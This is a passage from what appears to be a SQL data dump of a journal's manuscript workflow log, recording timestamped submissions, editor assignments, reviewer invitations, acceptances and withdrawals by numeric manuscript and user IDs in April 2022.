10:15:29','Manuscript Submitted by Author using Submission form',12734,'Author',12992),(117564,'2022-04-18 11:59:00','Editor has Accepted to review Manuscript',12703,'Editor',195),(117565,'2022-04-18 11:59:52','Editor has been Editor Decision Accepted article',12703,'Editor',195),(117566,'2022-04-19 09:33:18','Publisher has been Accepted Articles  article',12703,'Publisher',48),(117567,'2022-04-19 10:35:02','Publisher has been Assigned Editor',12728,'Publisher',85),(117568,'2022-04-19 10:35:17','Publisher has been Assigned Editor',12726,'Publisher',85),(117569,'2022-04-19 10:35:33','Publisher has been Assigned Editor',12725,'Publisher',85),(117570,'2022-04-19 10:35:48','Publisher has been Assigned Editor',12724,'Publisher',85),(117571,'2022-04-19 10:36:33','Publisher has Invited Reviewer',12728,'Publisher',85),(117572,'2022-04-19 10:36:38','Publisher has Invited Reviewer',12728,'Publisher',85),(117573,'2022-04-19 10:36:44','Publisher has Invited Reviewer',12728,'Publisher',85),(117574,'2022-04-19 10:36:49','Publisher has Invited Reviewer',12728,'Publisher',85),(117575,'2022-04-19 10:36:54','Publisher has Invited Reviewer',12728,'Publisher',85),(117576,'2022-04-19 10:36:59','Publisher has Invited Reviewer',12728,'Publisher',85),(117577,'2022-04-19 10:37:04','Publisher has Invited Reviewer',12728,'Publisher',85),(117578,'2022-04-19 10:37:10','Publisher has Invited Reviewer',12728,'Publisher',85),(117579,'2022-04-19 10:37:15','Publisher has Invited Reviewer',12728,'Publisher',85),(117580,'2022-04-19 10:37:20','Publisher has Invited Reviewer',12728,'Publisher',85),(117581,'2022-04-19 10:37:25','Publisher has Invited Reviewer',12728,'Publisher',85),(117582,'2022-04-19 10:37:31','Publisher has Invited Reviewer',12728,'Publisher',85),(117583,'2022-04-19 10:37:36','Publisher has Invited Reviewer',12728,'Publisher',85),(117584,'2022-04-19 10:37:41','Publisher has Invited Reviewer',12728,'Publisher',85),(117585,'2022-04-19 10:37:46','Publisher has Invited Reviewer',12728,'Publisher',85),(117586,'2022-04-19 10:37:52','Publisher has Invited Reviewer',12728,'Publisher',85),(117587,'2022-04-19 10:37:57','Publisher has Invited Reviewer',12728,'Publisher',85),(117588,'2022-04-19 10:38:02','Publisher has Invited Reviewer',12728,'Publisher',85),(117589,'2022-04-19 10:38:08','Publisher has Invited Reviewer',12728,'Publisher',85),(117590,'2022-04-19 10:38:13','Publisher has Invited Reviewer',12728,'Publisher',85),(117591,'2022-04-19 10:38:19','Publisher has Invited Reviewer',12728,'Publisher',85),(117592,'2022-04-19 10:38:24','Publisher has Invited Reviewer',12728,'Publisher',85),(117593,'2022-04-19 10:38:29','Publisher has Invited Reviewer',12728,'Publisher',85),(117594,'2022-04-19 10:38:35','Publisher has Invited Reviewer',12728,'Publisher',85),(117595,'2022-04-19 10:38:40','Publisher has Invited Reviewer',12728,'Publisher',85),(117596,'2022-04-19 10:38:45','Publisher has Invited Reviewer',12728,'Publisher',85),(117597,'2022-04-19 10:38:51','Publisher has Invited Reviewer',12728,'Publisher',85),(117598,'2022-04-19 10:38:56','Publisher has Invited Reviewer',12728,'Publisher',85),(117599,'2022-04-19 10:39:01','Publisher has Invited Reviewer',12728,'Publisher',85),(117600,'2022-04-19 10:39:36','Publisher has Invited Reviewer',12728,'Publisher',85),(117601,'2022-04-19 10:39:41','Publisher has Invited Reviewer',12728,'Publisher',85),(117602,'2022-04-19 10:39:47','Publisher has Invited Reviewer',12728,'Publisher',85),(117603,'2022-04-19 10:39:52','Publisher has Invited Reviewer',12728,'Publisher',85),(117604,'2022-04-19 10:39:57','Publisher has Invited Reviewer',12728,'Publisher',85),(117605,'2022-04-19 10:41:59','Publisher has been Assigned Editor',12723,'Publisher',75),(117606,'2022-04-19 15:25:50','Manuscript Submitted by Author using Submission form',12735,'Author',12993),(117607,'2022-04-19 16:48:06','Reviewer has submitted comments',12506,'Reviewer',11715),(117608,'2022-04-19 16:49:09','Editor has Accepted to review Manuscript',12506,'Editor',194),(117609,'2022-04-19 16:49:32','Editor has been Editor Decision Accepted article',12506,'Editor',194),(117610,'2022-04-19 16:50:45','Publisher has been Accepted Articles  article',12506,'Publisher',48),(117611,'2022-04-20 03:34:00','Manuscript Submitted by Author',12736,'Author',12598),(117612,'2022-04-20 11:38:27','Editor has Accepted to review Manuscript',11586,'Editor',1666),(117613,'2022-04-20 11:42:31','Editor has been Editor Decision Accepted article',11586,'Editor',1666),(117614,'2022-04-20 11:43:31','Publisher has Invited Reviewer',12726,'Publisher',85),(117615,'2022-04-20 11:43:37','Publisher has Invited Reviewer',12726,'Publisher',85),(117616,'2022-04-20 11:43:42','Publisher has Invited Reviewer',12726,'Publisher',85),(117617,'2022-04-20 11:43:47','Publisher has Invited Reviewer',12726,'Publisher',85),(117618,'2022-04-20 11:43:52','Publisher has Invited Reviewer',12726,'Publisher',85),(117619,'2022-04-20 11:43:55','Publisher has been Accepted Articles  article',11586,'Publisher',274),(117620,'2022-04-20 11:43:57','Publisher has Invited Reviewer',12726,'Publisher',85),(117621,'2022-04-20 11:44:02','Publisher has Invited Reviewer',12726,'Publisher',85),(117622,'2022-04-20 11:44:07','Publisher has Invited Reviewer',12726,'Publisher',85),(117623,'2022-04-20 11:44:13','Publisher has Invited Reviewer',12726,'Publisher',85),(117624,'2022-04-20 11:44:18','Publisher has Invited Reviewer',12726,'Publisher',85),(117625,'2022-04-20 11:44:23','Publisher has Invited Reviewer',12726,'Publisher',85),(117626,'2022-04-20 11:44:28','Publisher has Invited Reviewer',12726,'Publisher',85),(117627,'2022-04-20 11:44:33','Publisher has Invited Reviewer',12726,'Publisher',85),(117628,'2022-04-20 11:44:38','Publisher has Invited Reviewer',12726,'Publisher',85),(117629,'2022-04-20 11:44:44','Publisher has Invited Reviewer',12726,'Publisher',85),(117630,'2022-04-20 11:44:49','Publisher has Invited Reviewer',12726,'Publisher',85),(117631,'2022-04-20 11:44:54','Publisher has Invited Reviewer',12726,'Publisher',85),(117632,'2022-04-20 11:45:00','Publisher has Invited Reviewer',12726,'Publisher',85),(117633,'2022-04-20 11:45:05','Publisher has Invited Reviewer',12726,'Publisher',85),(117634,'2022-04-20 11:45:05','Editor has Accepted to review Manuscript',12273,'Editor',1665),(117635,'2022-04-20 11:45:10','Publisher has Invited Reviewer',12726,'Publisher',85),(117636,'2022-04-20 11:45:15','Publisher has Invited Reviewer',12726,'Publisher',85),(117637,'2022-04-20 11:45:19','Editor has been Editor Decision Accepted article',12273,'Editor',1665),(117638,'2022-04-20 11:45:20','Publisher has Invited Reviewer',12726,'Publisher',85),(117639,'2022-04-20 11:45:25','Publisher has Invited Reviewer',12726,'Publisher',85),(117640,'2022-04-20 11:45:30','Publisher has Invited Reviewer',12726,'Publisher',85),(117641,'2022-04-20 11:45:35','Publisher has Invited Reviewer',12726,'Publisher',85),(117642,'2022-04-20 11:45:40','Publisher has Invited Reviewer',12726,'Publisher',85),(117643,'2022-04-20 11:45:46','Publisher has Invited Reviewer',12726,'Publisher',85),(117644,'2022-04-20 11:45:51','Publisher has Invited Reviewer',12726,'Publisher',85),(117645,'2022-04-20 11:45:56','Publisher has Invited Reviewer',12726,'Publisher',85),(117646,'2022-04-20 11:46:01','Publisher has Invited Reviewer',12726,'Publisher',85),(117647,'2022-04-20 11:46:06','Publisher has been Accepted Articles  article',12273,'Publisher',274),(117648,'2022-04-20 11:46:06','Publisher has Invited Reviewer',12726,'Publisher',85),(117649,'2022-04-20 11:46:12','Publisher has Invited Reviewer',12726,'Publisher',85),(117650,'2022-04-20 11:46:17','Publisher has Invited Reviewer',12726,'Publisher',85),(117651,'2022-04-20 11:46:22','Publisher has Invited Reviewer',12726,'Publisher',85),(117652,'2022-04-20 11:46:27','Publisher has Invited Reviewer',12726,'Publisher',85),(117653,'2022-04-20 11:46:33','Publisher has Invited Reviewer',12726,'Publisher',85),(117654,'2022-04-20 11:46:38','Publisher has Invited Reviewer',12726,'Publisher',85),(117655,'2022-04-20 11:46:43','Publisher has Invited Reviewer',12726,'Publisher',85),(117656,'2022-04-20 11:46:48','Publisher has Invited Reviewer',12726,'Publisher',85),(117657,'2022-04-20 11:46:53','Publisher has Invited Reviewer',12726,'Publisher',85),(117658,'2022-04-20 11:46:59','Publisher has Invited Reviewer',12726,'Publisher',85),(117659,'2022-04-20 11:47:04','Publisher has Invited Reviewer',12726,'Publisher',85),(117660,'2022-04-20 11:47:09','Publisher has Invited Reviewer',12726,'Publisher',85),(117661,'2022-04-20 11:47:14','Publisher has Invited Reviewer',12726,'Publisher',85),(117662,'2022-04-20 11:47:19','Publisher has Invited Reviewer',12726,'Publisher',85),(117663,'2022-04-20 11:47:24','Publisher has Invited Reviewer',12726,'Publisher',85),(117664,'2022-04-20 11:47:29','Publisher has Invited Reviewer',12726,'Publisher',85),(117665,'2022-04-20 11:47:35','Publisher has Invited Reviewer',12726,'Publisher',85),(117666,'2022-04-20 11:47:40','Publisher has Invited Reviewer',12726,'Publisher',85),(117667,'2022-04-20 11:47:45','Publisher has Invited Reviewer',12726,'Publisher',85),(117668,'2022-04-20 11:47:50','Publisher has Invited Reviewer',12726,'Publisher',85),(117669,'2022-04-20 11:47:55','Publisher has Invited Reviewer',12726,'Publisher',85),(117670,'2022-04-20 11:48:00','Publisher has Invited Reviewer',12726,'Publisher',85),(117671,'2022-04-20 11:48:06','Publisher has Invited Reviewer',12726,'Publisher',85),(117672,'2022-04-20 11:48:11','Publisher has Invited Reviewer',12726,'Publisher',85),(117673,'2022-04-20 11:48:16','Publisher has Invited Reviewer',12726,'Publisher',85),(117674,'2022-04-20 11:48:21','Publisher has Invited Reviewer',12726,'Publisher',85),(117675,'2022-04-20 11:48:26','Publisher has Invited Reviewer',12726,'Publisher',85),(117676,'2022-04-20 11:48:32','Publisher has Invited Reviewer',12726,'Publisher',85),(117677,'2022-04-20 11:48:37','Publisher has Invited Reviewer',12726,'Publisher',85),(117678,'2022-04-20 11:48:42','Publisher has Invited Reviewer',12726,'Publisher',85),(117679,'2022-04-20 11:48:48','Publisher has Invited Reviewer',12726,'Publisher',85),(117680,'2022-04-20 11:48:53','Publisher has Invited Reviewer',12726,'Publisher',85),(117681,'2022-04-20 11:48:58','Publisher has Invited Reviewer',12726,'Publisher',85),(117682,'2022-04-20 12:09:32','Editor has Accepted to review Manuscript',12281,'Editor',1659),(117683,'2022-04-20 12:09:55','Editor has been Editor Decision Accepted article',12281,'Editor',1659),(117684,'2022-04-20 12:10:38','Publisher has Invited Reviewer',12725,'Publisher',85),(117685,'2022-04-20 12:10:43','Publisher has Invited Reviewer',12725,'Publisher',85),(117686,'2022-04-20 12:10:49','Publisher has Invited Reviewer',12725,'Publisher',85),(117687,'2022-04-20 12:10:51','Publisher has been Accepted Articles  article',12281,'Publisher',274),(117688,'2022-04-20 12:10:54','Publisher has Invited Reviewer',12725,'Publisher',85),(117689,'2022-04-20 12:10:59','Publisher has Invited Reviewer',12725,'Publisher',85),(117690,'2022-04-20 12:11:04','Publisher has Invited Reviewer',12725,'Publisher',85),(117691,'2022-04-20 12:11:09','Publisher has Invited Reviewer',12725,'Publisher',85),(117692,'2022-04-20 12:11:14','Publisher has Invited Reviewer',12725,'Publisher',85),(117693,'2022-04-20 12:11:19','Publisher has Invited Reviewer',12725,'Publisher',85),(117694,'2022-04-20 12:11:25','Publisher has Invited Reviewer',12725,'Publisher',85),(117695,'2022-04-20 12:11:30','Publisher has Invited Reviewer',12725,'Publisher',85),(117696,'2022-04-20 12:11:35','Publisher has Invited Reviewer',12725,'Publisher',85),(117697,'2022-04-20 12:11:40','Publisher has Invited Reviewer',12725,'Publisher',85),(117698,'2022-04-20 12:11:45','Publisher has Invited Reviewer',12725,'Publisher',85),(117699,'2022-04-20 12:11:51','Publisher has Invited Reviewer',12725,'Publisher',85),(117700,'2022-04-20 12:11:56','Publisher has Invited Reviewer',12725,'Publisher',85),(117701,'2022-04-20 12:12:01','Publisher has Invited Reviewer',12725,'Publisher',85),(117702,'2022-04-20 12:12:06','Publisher has Invited Reviewer',12725,'Publisher',85),(117703,'2022-04-20 12:12:11','Editor has Accepted to review Manuscript',12329,'Editor',1663),(117704,'2022-04-20 12:12:12','Publisher has Invited Reviewer',12725,'Publisher',85),(117705,'2022-04-20 12:12:17','Publisher has Invited Reviewer',12725,'Publisher',85),(117706,'2022-04-20 12:12:22','Publisher has Invited Reviewer',12725,'Publisher',85),(117707,'2022-04-20 12:12:27','Publisher has Invited Reviewer',12725,'Publisher',85),(117708,'2022-04-20 12:12:32','Publisher has Invited Reviewer',12725,'Publisher',85),(117709,'2022-04-20 12:12:33','Editor has been Editor Decision Accepted article',12329,'Editor',1663),(117710,'2022-04-20 12:12:37','Publisher has Invited Reviewer',12725,'Publisher',85),(117711,'2022-04-20 12:12:43','Publisher has Invited Reviewer',12725,'Publisher',85),(117712,'2022-04-20 12:12:48','Publisher has Invited Reviewer',12725,'Publisher',85),(117713,'2022-04-20 12:12:53','Publisher has Invited Reviewer',12725,'Publisher',85),(117714,'2022-04-20 12:12:58','Publisher has Invited Reviewer',12725,'Publisher',85),(117715,'2022-04-20 12:13:03','Publisher has Invited Reviewer',12725,'Publisher',85),(117716,'2022-04-20 12:13:08','Publisher has Invited Reviewer',12725,'Publisher',85),(117717,'2022-04-20 12:13:13','Publisher has Invited Reviewer',12725,'Publisher',85),(117718,'2022-04-20 12:13:18','Publisher has Invited Reviewer',12725,'Publisher',85),(117719,'2022-04-20 12:13:23','Publisher has Invited Reviewer',12725,'Publisher',85),(117720,'2022-04-20 12:13:28','Publisher has Invited Reviewer',12725,'Publisher',85),(117721,'2022-04-20 12:13:34','Publisher has Invited Reviewer',12725,'Publisher',85),(117722,'2022-04-20 12:13:39','Publisher has Invited Reviewer',12725,'Publisher',85),(117723,'2022-04-20 12:14:04','Publisher has been Accepted Articles  article',12329,'Publisher',274),(117724,'2022-04-20 12:19:20','Editor has Accepted to review Manuscript',12494,'Editor',1667),(117725,'2022-04-20 12:19:34','Editor has been Editor Decision Accepted article',12494,'Editor',1667),(117726,'2022-04-20 12:20:52','Publisher has been Accepted Articles  article',12494,'Publisher',274),(117727,'2022-04-20 12:20:54','Publisher has been Accepted Articles  article',12494,'Publisher',274),(117728,'2022-04-20 12:23:04','Editor has Accepted to review Manuscript',11806,'Editor',1668),(117729,'2022-04-20 12:23:17','Editor has been Editor Decision Accepted article',11806,'Editor',1668),(117730,'2022-04-20 12:24:08','Publisher has been Accepted Articles  article',11806,'Publisher',274),(117731,'2022-04-20 12:24:43','Publisher has been Assigned Editor',12735,'Publisher',48),(117732,'2022-04-20 13:42:55','Editor has Accepted to review Manuscript',11914,'Editor',162),(117733,'2022-04-20 13:43:09','Editor has been Editor Decision Accepted article',11914,'Editor',162),(117734,'2022-04-20 13:44:26','Publisher: Accept Notification has been sent to Author',11914,'Publisher',75),(117735,'2022-04-20 13:45:07','Publisher has been Accepted Articles  article',11914,'Publisher',75),(117736,'2022-04-20 14:21:45','Reviewer has been sent email to Publisher',12726,'Reviewer',1116),(117737,'2022-04-20 14:46:19','Publisher has Invited Reviewer',12724,'Publisher',85),(117738,'2022-04-20 14:46:25','Publisher has Invited Reviewer',12724,'Publisher',85),(117739,'2022-04-20 14:46:31','Publisher has Invited Reviewer',12724,'Publisher',85),(117740,'2022-04-20 14:46:37','Publisher has Invited Reviewer',12724,'Publisher',85),(117741,'2022-04-20 14:46:43','Publisher has Invited Reviewer',12724,'Publisher',85),(117742,'2022-04-20 14:46:48','Publisher has Invited Reviewer',12724,'Publisher',85),(117743,'2022-04-20 14:46:54','Publisher has Invited Reviewer',12724,'Publisher',85),(117744,'2022-04-20 14:47:00','Publisher has Invited Reviewer',12724,'Publisher',85),(117745,'2022-04-20 14:47:06','Publisher has Invited Reviewer',12724,'Publisher',85),(117746,'2022-04-20 14:47:12','Publisher has Invited Reviewer',12724,'Publisher',85),(117747,'2022-04-20 14:47:18','Publisher has Invited Reviewer',12724,'Publisher',85),(117748,'2022-04-20 14:47:23','Publisher has Invited Reviewer',12724,'Publisher',85),(117749,'2022-04-20 14:56:29','Publisher has been Withdrawn  article',12676,'Publisher',274),(117750,'2022-04-20 15:03:16','Publisher has been Withdrawn  article',12673,'Publisher',274),(117751,'2022-04-20 15:06:57','Publisher has Invited Reviewer',12681,'Publisher',85),(117752,'2022-04-20 15:07:03','Publisher has Invited Reviewer',12681,'Publisher',85),(117753,'2022-04-20 15:07:09','Publisher has Invited Reviewer',12681,'Publisher',85),(117754,'2022-04-20 15:07:14','Publisher has Invited Reviewer',12681,'Publisher',85),(117755,'2022-04-20 15:07:20','Publisher has Invited Reviewer',12681,'Publisher',85),(117756,'2022-04-20 15:07:25','Publisher has Invited Reviewer',12681,'Publisher',85),(117757,'2022-04-20 15:07:31','Publisher has Invited Reviewer',12681,'Publisher',85),(117758,'2022-04-20 15:07:36','Publisher has Invited Reviewer',12681,'Publisher',85),(117759,'2022-04-20 15:07:42','Publisher has Invited Reviewer',12681,'Publisher',85),(117760,'2022-04-20 15:07:48','Publisher has Invited Reviewer',12681,'Publisher',85),(117761,'2022-04-20 15:08:52','Publisher has Invited Reviewer',12681,'Publisher',85),(117762,'2022-04-20 15:08:58','Publisher has Invited Reviewer',12681,'Publisher',85),(117763,'2022-04-20 15:09:03','Publisher has Invited Reviewer',12681,'Publisher',85),(117764,'2022-04-20 15:09:15','Publisher has Invited Reviewer',12681,'Publisher',85),(117765,'2022-04-20 15:09:21','Publisher has Invited Reviewer',12681,'Publisher',85),(117766,'2022-04-20 15:09:27','Publisher has Invited Reviewer',12681,'Publisher',85),(117767,'2022-04-20 15:09:32','Publisher has Invited Reviewer',12681,'Publisher',85),(117768,'2022-04-20 15:09:38','Publisher has Invited Reviewer',12681,'Publisher',85),(117769,'2022-04-20 15:09:43','Publisher has Invited Reviewer',12681,'Publisher',85),(117770,'2022-04-20 15:09:49','Publisher has Invited Reviewer',12681,'Publisher',85),(117771,'2022-04-20 15:09:54','Publisher has Invited Reviewer',12681,'Publisher',85),(117772,'2022-04-20 15:09:59','Publisher has Invited Reviewer',12681,'Publisher',85),(117773,'2022-04-20 15:10:05','Publisher has Invited Reviewer',12681,'Publisher',85),(117774,'2022-04-20 15:10:11','Publisher has Invited Reviewer',12681,'Publisher',85),(117775,'2022-04-20 15:10:16','Publisher has Invited Reviewer',12681,'Publisher',85),(117776,'2022-04-20 15:10:23','Publisher has Invited Reviewer',12681,'Publisher',85),(117777,'2022-04-20 15:10:28','Publisher has Invited Reviewer',12681,'Publisher',85),(117778,'2022-04-20 15:10:34','Publisher has Invited Reviewer',12681,'Publisher',85),(117779,'2022-04-20 15:10:40','Publisher has Invited Reviewer',12681,'Publisher',85),(117780,'2022-04-20 15:10:49','Publisher has Invited Reviewer',12681,'Publisher',85),(117781,'2022-04-20 15:10:55','Publisher has Invited Reviewer',12681,'Publisher',85),(117782,'2022-04-20 15:11:00','Publisher has Invited Reviewer',12681,'Publisher',85),(117783,'2022-04-20 15:11:06','Publisher has Invited Reviewer',12681,'Publisher',85),(117784,'2022-04-20 15:11:12','Publisher has Invited Reviewer',12681,'Publisher',85),(117785,'2022-04-20 15:11:17','Publisher has Invited Reviewer',12681,'Publisher',85),(117786,'2022-04-20 15:11:23','Publisher has Invited Reviewer',12681,'Publisher',85),(117787,'2022-04-20 15:11:29','Publisher has Invited Reviewer',12681,'Publisher',85),(117788,'2022-04-20 15:11:34','Publisher has Invited Reviewer',12681,'Publisher',85),(117789,'2022-04-20 15:11:40','Publisher has Invited Reviewer',12681,'Publisher',85),(117790,'2022-04-20 15:11:46','Publisher has Invited Reviewer',12681,'Publisher',85),(117791,'2022-04-20 15:11:51','Publisher has Invited Reviewer',12681,'Publisher',85),(117792,'2022-04-20 15:11:58','Publisher has Invited Reviewer',12681,'Publisher',85),(117793,'2022-04-20 15:12:03','Publisher has Invited Reviewer',12681,'Publisher',85),(117794,'2022-04-20 15:12:09','Publisher has Invited Reviewer',12681,'Publisher',85),(117795,'2022-04-20 15:12:14','Publisher has Invited Reviewer',12681,'Publisher',85),(117796,'2022-04-20 15:12:20','Publisher has Invited Reviewer',12681,'Publisher',85),(117797,'2022-04-20 15:12:26','Publisher has Invited Reviewer',12681,'Publisher',85),(117798,'2022-04-20 15:12:31','Publisher has Invited Reviewer',12681,'Publisher',85),(117799,'2022-04-20 15:12:36','Publisher has Invited Reviewer',12681,'Publisher',85),(117800,'2022-04-20 15:12:41','Publisher has Invited Reviewer',12681,'Publisher',85),(117801,'2022-04-20 15:12:46','Publisher has Invited Reviewer',12681,'Publisher',85),(117802,'2022-04-20 15:12:51','Publisher has Invited Reviewer',12681,'Publisher',85),(117803,'2022-04-20 15:12:58','Publisher has Invited Reviewer',12681,'Publisher',85),(117804,'2022-04-20 15:13:04','Publisher has Invited Reviewer',12681,'Publisher',85),(117805,'2022-04-20 15:13:09','Publisher has Invited Reviewer',12681,'Publisher',85),(117806,'2022-04-20 15:28:18','Publisher has Invited Reviewer',12724,'Publisher',85),(117807,'2022-04-20 15:28:24','Publisher has Invited Reviewer',12724,'Publisher',85),(117808,'2022-04-20 15:28:29','Publisher has Invited Reviewer',12724,'Publisher',85),(117809,'2022-04-20 15:28:35','Publisher has Invited Reviewer',12724,'Publisher',85),(117810,'2022-04-20 15:28:41','Publisher has Invited Reviewer',12724,'Publisher',85),(117811,'2022-04-20 15:28:47','Publisher has Invited Reviewer',12724,'Publisher',85),(117812,'2022-04-20 15:28:52','Publisher has Invited Reviewer',12724,'Publisher',85),(117813,'2022-04-20 15:28:59','Publisher has Invited Reviewer',12724,'Publisher',85),(117814,'2022-04-20 15:33:06','Reviewer has submitted comments',12327,'Reviewer',11520),(117815,'2022-04-20 15:35:48','Manuscript Submitted by Author using Submission form',12737,'Author',12994),(117816,'2022-04-20 15:36:25','Publisher has been Accepted Articles  article',12327,'Publisher',48),(117817,'2022-04-20 17:00:48','Manuscript Submitted by Author using Submission form',12738,'Author',12995),(117818,'2022-04-20 17:22:43','Publisher : Notified Author',11320,'Publisher',85),(117819,'2022-04-21 13:49:38','Publisher has been Accepted Articles  article',12452,'Publisher',48),(117820,'2022-04-21 13:58:31','Publisher has Invited Reviewer',12735,'Publisher',48),(117821,'2022-04-21 13:58:37','Publisher has Invited Reviewer',12735,'Publisher',48),(117822,'2022-04-21 13:58:43','Publisher has Invited Reviewer',12735,'Publisher',48),(117823,'2022-04-21 13:58:49','Publisher has Invited Reviewer',12735,'Publisher',48),(117824,'2022-04-21 13:58:54','Publisher has Invited Reviewer',12735,'Publisher',48),(117825,'2022-04-21 18:12:40','Publisher has Invited Reviewer',12723,'Publisher',75),(117826,'2022-04-21 18:12:45','Publisher has Invited Reviewer',12723,'Publisher',75),(117827,'2022-04-21 18:13:07','Publisher has Invited Reviewer',12723,'Publisher',75),(117828,'2022-04-21 18:13:13','Publisher has Invited Reviewer',12723,'Publisher',75),(117829,'2022-04-21 18:13:18','Publisher has Invited Reviewer',12723,'Publisher',75),(117830,'2022-04-21 18:13:44','Publisher has Invited Reviewer',12720,'Publisher',75),(117831,'2022-04-21 18:13:50','Publisher has Invited Reviewer',12720,'Publisher',75),(117832,'2022-04-21 18:14:13','Publisher has Invited Reviewer',12720,'Publisher',75),(117833,'2022-04-21 18:14:34','Publisher has Invited Reviewer',12720,'Publisher',75),(117834,'2022-04-21 18:14:39','Publisher has Invited Reviewer',12720,'Publisher',75),(117835,'2022-04-21 18:14:44','Publisher has Invited Reviewer',12720,'Publisher',75),(117836,'2022-04-21 18:15:41','Publisher has Invited Reviewer',12698,'Publisher',75),(117837,'2022-04-21 18:15:47','Publisher has Invited Reviewer',12698,'Publisher',75),(117838,'2022-04-21 18:15:52','Publisher has Invited Reviewer',12698,'Publisher',75),(117839,'2022-04-21 18:15:58','Publisher has Invited Reviewer',12698,'Publisher',75),(117840,'2022-04-21 18:16:03','Publisher has Invited Reviewer',12698,'Publisher',75),(117841,'2022-04-21 18:18:39','Publisher has Invited Reviewer',12692,'Publisher',75),(117842,'2022-04-21 18:18:45','Publisher has Invited Reviewer',12692,'Publisher',75),(117843,'2022-04-21 18:18:51','Publisher has Invited Reviewer',12692,'Publisher',75),(117844,'2022-04-21 18:18:57','Publisher has Invited Reviewer',12692,'Publisher',75),(117845,'2022-04-21 18:19:02','Publisher has Invited Reviewer',12692,'Publisher',75),(117846,'2022-04-21 18:19:52','Publisher has Invited Reviewer',12693,'Publisher',75),(117847,'2022-04-21 18:19:58','Publisher has Invited Reviewer',12693,'Publisher',75),(117848,'2022-04-21 18:20:04','Publisher has Invited Reviewer',12693,'Publisher',75),(117849,'2022-04-21 18:30:52','Publisher has Invited Reviewer',12688,'Publisher',75),(117850,'2022-04-21 18:30:58','Publisher has Invited Reviewer',12688,'Publisher',75),(117851,'2022-04-21 18:31:04','Publisher has Invited Reviewer',12688,'Publisher',75),(117852,'2022-04-21 18:31:10','Publisher has Invited Reviewer',12688,'Publisher',75),(117853,'2022-04-21 18:31:15','Publisher has Invited Reviewer',12688,'Publisher',75),(117854,'2022-04-21 23:10:22','Manuscript Submitted by Author',12739,'Author',9267),(117855,'2022-04-21 23:20:50','Manuscript Submitted by Author',12740,'Author',9267),(117856,'2022-04-21 23:26:53','Manuscript Submitted by Author',12741,'Author',9267),(117857,'2022-04-21 23:49:25','Manuscript Submitted by Author',12742,'Author',9267),(117858,'2022-04-22 00:21:54','Manuscript Submitted by Author',12744,'Author',9267),(117859,'2022-04-22 00:57:47','Manuscript Submitted by Author',12745,'Author',9267),(117860,'2022-04-22 01:13:57','Manuscript Submitted by Author',12746,'Author',9267),(117861,'2022-04-22 01:36:41','Manuscript Submitted by Author',12747,'Author',9267),(117862,'2022-04-22 11:56:49','Publisher has been Assigned Editor',12737,'Publisher',85),(117863,'2022-04-22 11:58:28','Publisher has Invited Reviewer',12737,'Publisher',85),(117864,'2022-04-22 11:58:34','Publisher has Invited Reviewer',12737,'Publisher',85),(117865,'2022-04-22 11:58:39','Publisher has Invited Reviewer',12737,'Publisher',85),(117866,'2022-04-22 11:58:44','Publisher has Invited Reviewer',12737,'Publisher',85),(117867,'2022-04-22 11:58:50','Publisher has Invited Reviewer',12737,'Publisher',85),(117868,'2022-04-22 11:58:55','Publisher has Invited Reviewer',12737,'Publisher',85),(117869,'2022-04-22 11:59:00','Publisher has Invited Reviewer',12737,'Publisher',85),(117870,'2022-04-22 11:59:05','Publisher has Invited Reviewer',12737,'Publisher',85),(117871,'2022-04-22 11:59:11','Publisher has Invited Reviewer',12737,'Publisher',85),(117872,'2022-04-22 11:59:16','Publisher has Invited Reviewer',12737,'Publisher',85),(117873,'2022-04-22 11:59:21','Publisher has Invited Reviewer',12737,'Publisher',85),(117874,'2022-04-22 11:59:26','Publisher has Invited Reviewer',12737,'Publisher',85),(117875,'2022-04-22 11:59:32','Publisher has Invited Reviewer',12737,'Publisher',85),(117876,'2022-04-22 11:59:37','Publisher has Invited Reviewer',12737,'Publisher',85),(117877,'2022-04-22 11:59:42','Publisher has Invited Reviewer',12737,'Publisher',85),(117878,'2022-04-22 11:59:47','Publisher has Invited Reviewer',12737,'Publisher',85),(117879,'2022-04-22 11:59:53','Publisher has Invited Reviewer',12737,'Publisher',85),(117880,'2022-04-22 11:59:58','Publisher has Invited Reviewer',12737,'Publisher',85),(117881,'2022-04-22 12:18:52','Publisher has Invited Reviewer',12392,'Publisher',85),(117882,'2022-04-22 12:23:04','Reviewer has submitted comments',12392,'Reviewer',21376),(117883,'2022-04-22 19:22:20','Manuscript Submitted by Author',12748,'Author',9267),(117884,'2022-04-22 19:32:33','Manuscript Submitted by Author',12749,'Author',9267),(117885,'2022-04-22 20:02:08','Manuscript Submitted by Author',12750,'Author',9267),(117886,'2022-04-22 20:15:52','Manuscript Submitted by Author',12751,'Author',9267),(117887,'2022-04-23 09:43:13','Reviewer has submitted comments',12392,'Reviewer',21376),(117888,'2022-04-23 09:48:20','Editor has Accepted to review Manuscript',12392,'Editor',1394),(117889,'2022-04-23 10:02:34','Publisher has been Assigned Editor',12739,'Publisher',48),(117890,'2022-04-23 10:02:55','Publisher has been Assigned Editor',12742,'Publisher',48),(117891,'2022-04-23 10:03:14','Publisher has been Assigned Editor',12745,'Publisher',48),(117892,'2022-04-23 10:03:45','Publisher has been Assigned Editor',12746,'Publisher',48),(117893,'2022-04-23 10:04:07','Publisher has been Assigned Editor',12747,'Publisher',48),(117894,'2022-04-23 10:56:33','Publisher has Invited Reviewer',12737,'Publisher',85),(117895,'2022-04-23 10:56:38','Publisher has Invited Reviewer',12737,'Publisher',85),(117896,'2022-04-23 10:56:44','Publisher has Invited Reviewer',12737,'Publisher',85),(117897,'2022-04-23 10:56:49','Publisher has Invited Reviewer',12737,'Publisher',85),(117898,'2022-04-23 10:56:55','Publisher has Invited Reviewer',12737,'Publisher',85),(117899,'2022-04-23 10:57:01','Publisher has Invited Reviewer',12737,'Publisher',85),(117900,'2022-04-23 10:57:06','Publisher has Invited Reviewer',12737,'Publisher',85),(117901,'2022-04-23 10:57:11','Publisher has Invited Reviewer',12737,'Publisher',85),(117902,'2022-04-23 10:57:17','Publisher has Invited Reviewer',12737,'Publisher',85),(117903,'2022-04-23 10:57:22','Publisher has Invited Reviewer',12737,'Publisher',85),(117904,'2022-04-23 10:57:27','Publisher has Invited Reviewer',12737,'Publisher',85),(117905,'2022-04-23 10:57:33','Publisher has Invited Reviewer',12737,'Publisher',85),(117906,'2022-04-23 10:57:38','Publisher has Invited Reviewer',12737,'Publisher',85),(117907,'2022-04-23 10:57:43','Publisher has Invited Reviewer',12737,'Publisher',85),(117908,'2022-04-23 10:57:49','Publisher has Invited Reviewer',12737,'Publisher',85),(117909,'2022-04-23 10:57:54','Publisher has Invited Reviewer',12737,'Publisher',85),(117910,'2022-04-23 10:57:59','Publisher has Invited 